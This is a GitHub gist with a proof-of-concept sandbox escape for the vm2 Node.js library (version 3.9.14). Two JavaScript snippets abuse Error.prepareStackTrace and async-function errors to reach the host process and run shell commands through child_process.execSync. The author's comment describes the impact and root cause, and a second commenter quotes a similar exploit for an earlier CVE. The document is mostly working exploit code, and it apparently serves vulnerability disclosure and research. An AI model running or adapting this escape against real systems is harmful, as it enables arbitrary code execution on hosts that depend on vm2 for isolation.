Skip to content

Instantly share code, notes, and snippets.

@seongil-wi
Created April 6, 2023 15:30
  • Star 27 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save seongil-wi/2a44e082001b959bfe304b62121fb76d to your computer and use it in GitHub Desktop.
const {VM} = require("vm2");
let vmInstance = new VM();
const code = `
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
`
vmInstance.run(code);
const {VM} = require("vm2");
let vmInstance = new VM();
const code = `
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
async function aa(){
eval("1=1")
}
aa()
`
vmInstance.run(code);
@seongil-wi
Copy link
Author

  • Expected result: We can escape vm2 and execute arbitrary shellcode. In our PoC, a file called `flag' is written through the vulnerability.
  • vm2 version: 3.9.14 (latest version)
  • Node version: 18.15.0, 19.8.1, 17.9.1, ...
  • Root cause: It seems that vm2 is not properly handling errors that occur in async functions.

@blindhacker99
Copy link

blindhacker99 commented May 8, 2023

@seongil-wi Did you looked at the earlier issues reported by oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??

In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:

`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')

// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the 
     method here is getThis(). 

}`

I am curious about and trying to understand how this was fixed earlier. If the fix is happening in sort of blacklisting the different kinds of error or exception an attacker can raise?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment